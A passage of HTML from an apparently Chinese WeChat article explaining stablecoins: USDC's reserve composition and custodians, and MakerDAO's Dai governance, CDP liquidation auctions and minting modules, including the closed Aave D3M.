sans-serif;letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.290625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=40200e88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMeqWicbwDga3EFXfmDBt8OABA6aoaZmcWqIgQjkr4xgmicXJjncPpgXCg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.5px;">最新的审计报告中没有进一步细分的资产明细。Circle在官网上有一份自己统计的资产明细，其中USDC的储备金100%来自现金&amp;现金等价物，其中现金约占23.5%，短期美国债券占76.5%。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36015625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cbefafe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMMO11ryicFWLTtFbGjRHCpBM3CRpAI5Q7aoWh21wZEIrmibUZc6YLicXqQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 10.5pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Circle表示这个周数据没有任何第三方的审核机构进行审核，同时还附带了对USDC储备金的解释：USDC储备金由美国主要金融机构保管，包括贝莱德和纽约梅隆银行。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">现金存放在美国金融机构；美国国债由第三方托管人（美国银行、纽约梅隆银行）持有并由专业资产管理公司（美国银行资产管理公司、贝莱德）管理。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在2021年8月份的审计报表中显示，USDC储备金明细中有92%来自于现金&amp;现金等价物，1%来自公司债券，5%来自扬基存单，2%来自商业票据。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">2021年9月份之后，Circle调整了USDC储备金为100%来自于现金&amp;现金等价物。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c5052078&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMV3HPY7LIjEAY3qrhRrMgYhC8lPGYB5F4cTgjic4gg2DwHRJuobIoIzA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="17827" data-type="lspecial06" data-md5="d6650" mpa-from-tpl="t"><section data-md5="d6650" mpa-from-tpl="t" style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaZ7Bia3Wm91cEuWhERXfCYjTJZXgJxLPVYDTQswNwurxvXyG2nQPSYXFyhIhpJiamWR8EPUAVf3G9vA/640?wx_fmt=png&#34;);background-size: 100%;width: 40px;height: 40px;margin: 0px auto;background-repeat: no-repeat;"><section style="color:#595959;letter-spacing:1px;line-height:40px;text-align:center;" data-md5="d6650" mpa-from-tpl="t"><section style="font-size: 40px;padding: 0px;margin: 16px 0px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong data-md5="d6650" mpa-from-tpl="t">3</strong><strong data-md5="d6650" mpa-from-tpl="t"></strong></span></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-id="89817" mpa-from-tpl="t"><section data-id="us503369" mpa-from-tpl="t"><section style="width:100%;" data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t" style="width: 200px;height: 46px;margin: 10px auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iabwjyojLhA03PtxUnkNPREnbeZHiabsk7W91ViaiaV9SwOOPJXw3GB691VicCgoMWBQbLMbmQ9BuwE6YQ/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 180px;height: 20px;margin-left: 10px;font-size: 16px;color: rgb(255, 255, 255);text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 0.5px;display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span><span style="letter-spacing: 0.5px;font-size: 17px;"><strong>数字货币支持的稳定币</strong><span style="letter-spacing: 0.5px;font-size: 17px;display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></section></section></section><section style="clear: both;width: 100%;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section></section></section></section></section><h3 style="margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong><span style="font-size: 20px;box-sizing: border-box;transform-style: preserve-3d;text-indent: 0em;color: rgb(40, 104, 176);transform: translate3d(0px, 0px, 1px);display: inline-block;font-weight: bold;">Dai</span></strong></span></h3><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">Dai是由Maker组织发行在区块链上的，完全去中心化的稳定币，与美元保持1:1的</span><strong style="mso-bidi-font-weight:normal;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">软锚定</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">。<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);display: none;line-height: 0px;">‍‍‍</span>和<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);display: none;line-height: 0px;">‍‍‍‍‍‍‍</span>其<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);display: none;line-height: 0px;">‍</span>他稳定币不一样的是，Dai采取的是超额抵押的方式，通过Maker协议中的智能合约，将特定的加密数字资产（例如ETH）进行抵押，铸造Dai。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 16px;letter-spacing: 0.5px;text-decoration: underline;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;letter-spacing: 0.5px;font-size: 16px;font-weight: bold;">关于 MakerDAO</span></strong></span><span style="font-weight: bold;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;color: rgb(0, 122, 170);text-decoration: underline;"></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">MakerDAO 是 2014 年在以太坊区块链上创建的开源去中心化自治组织。该项目发行一种名为 MKR 的治理型代币，全世界范围内持有该代币的人均可参与项目治理。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">通过由执行投票（Executive Voting）和治理投票（Governance Polling）组成的科学型治理系统， MKR 持有者可以管理 Maker 协议及Dai 的金融风险，从而确保该协议的稳定性、透明性和高效性。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">MKR 投票权重与投票者存在投票合约 DSChief 中的 MKR 数量成正比。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">换言之，投票者在 DSChief 合约中锁定的 MKR 代币数量越多，其拥有的决策权就越大。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 16px;letter-spacing: 0.5px;text-decoration: underline;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;letter-spacing: 0.5px;font-size: 16px;font-weight: bold;">关于 Maker 协议</span></strong></span><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;color: rgb(0, 122, 170);text-decoration: underline;"><strong><span style="text-decoration: underline;letter-spacing: 0.5px;color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-weight: bold;"></span></strong></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">Maker 协议构建在以太坊区块链 上，用户可以用其创造货币。该协议目前由稳定币Dai 、Maker Collateral Vault（Maker 担保物金库）、信息输入系统（Oracle）和投票机制组成。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">MakerDAO 依靠 MKR 持有者的投票决定关键的参数（例如，稳定费率、担保物类型/质押比率等），来治理 Maker 协议。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Dai的运行机制是公开透明的，背后由去中心化的社区自治组织来管理。社区的组成人员为治理代币MKR的拥有者和风险小组人员，他们负责维护Maker协议中需要人为干预的事务。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">当需要整个社区共同来决定某项事务时（比如调整参数，改变费率），社区内的成员首先会发起一个提案，阐述事务的起因，可能造成的影响和需要改进的部分。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">接下来在一定的时间内社区内的其他成员会看到提案的内容，并在提案下提出自己的想法和意见。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">社区通过投票的方式来决定是否采纳该提案，社区内的成员将自己的治理代币MKR作为票，选择自己认为会对Maker协议更好的选项，最后采纳投入MKR最多的选项。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=552adb7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jM7r9tCF0dCx0AEEXRc5rnj5MYxib9CaJrfltRNIceZcic0EQDYVGNvUuA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在Maker协议中，用户通过担保债仓（Collateralized Debt Position, CDP）的独特智能合约来用抵押品生成一定价值的Dai（债务），CDP会一直保管抵押品直到用户偿还借出的Dai。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在偿还了债务后，用户还需要支付一定量的稳定费，稳定费通过复合年利率，以秒为单位进行计算。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">如果此时抵押品的价格出现下跌，对应的抵押率（抵押品价值/债务）也会下降。当抵押率下降至一定的阈值（阈值由社区投票决定）后，就会触发清算的流程，执行清算的角色称为Keeper。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">与Compound的清算不同的是，Maker协议采取的是拍卖机制，这个机制能够在系统无法获得担保物的价格信息之时依然能对金库进行清算。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">一般来说，清算由</span><strong><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);">抵押品拍卖</span></strong><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">（Collateral Auction）和</span><span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍</span><strong><span style="color: rgb(40, 104, 176);font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">反向抵押品拍卖</span></strong><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">（Reverse Collateral Auction）构成。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;">在抵押品拍卖中，Keeper们通过竞价来获取待拍卖的抵押品，价高者胜。拍卖得到的Dai用于偿还抵押品内的债务和清算罚金（Liquidation Penalty）。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;">如果担保物拍卖上获得的Dai 足以清偿金库内的债务，并足够支付清算罚金，该竞拍会转换成反向抵押品竞拍。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在反向抵押品竞拍中，Keeper们对固定价格的Dai竞价尽量少的抵押品，尽可能地减少担保物的出售数量，剩余的担保物都会物归原主。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;">这样做的目的是让原抵押品的所有者可以拿回尽量多的担保品，同时保证所有Dai 的债务得到偿付。</span></span></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-weight: bold;font-size: 12pt;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  Dai 的 铸 造 方 式  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin-top: 16px;margin-bottom: 16px;"><br/></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;">目前来说，Dai主要通过超额抵押，锚定稳定模块，现实资产，直接存款模块四种方式进行Dai的铸造，前两者占据了Dai总铸造量的99%。<br/></span></h4><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;"><strong>超额抵押：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">以加密资产超额抵押的方式铸造Dai，抵押品可以是ETH，WBTC等常用的加密货币，也可以是Uniswap USDC-ETH等LP代币，这是Dai的主要铸造方式之一。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;"><br/></span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.54765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8f86d283&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMrZqdkxBUia28bu2BLSIxlzxhnlcDDMtB42dtX0icyX4LdkfRhkJDTib0A%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;"><strong>锚定稳定模块：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><span style="font-size: 12pt;">锚定稳定模块（Peg Stability Module, PSM）允许用户以USDC、USDP、GUSD这三种中心化稳定币（主要是USDC）直接兑换Dai，且通过这种方式发行的Dai超过Dai 总量的50%。以现在的数据计算，等于为Dai提供了约 35 亿美元</span><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 12pt;">无滑点兑换</span></strong><span style="font-size: 12pt;">的流动性。</span></span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><span style="font-size: 12pt;"><br/></span></span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=16ccd3bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMGJlsZycqzIoS0ca4n4XgLMtr2aYfTtsicZ1vwhkaFrXJibtEobJRb68g%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;"><strong>现实资产：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">超额抵押现实资产铸造Dai，目前以这种方式发行的 Dai 只有 4000 多万。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;"><strong>直接存款模块：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">直接存款模块（Dai Direct Deposit Module, D3M）允许协议即时生成Dai，存入支持的第三方借贷池，而无需传统抵押品，目的是为了确保借贷协议中的浮动利率低于Maker治理决定的目标利率。在今年的6月19日，MakerDAO紧急关闭了与AAVE的D3M，原因是Aave v2上借入的 2 亿枚 Dai 中，有 1 亿枚 Dai 是借给了Celsius，并且主要由 stETH 抵押，因此存在风险。</span></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 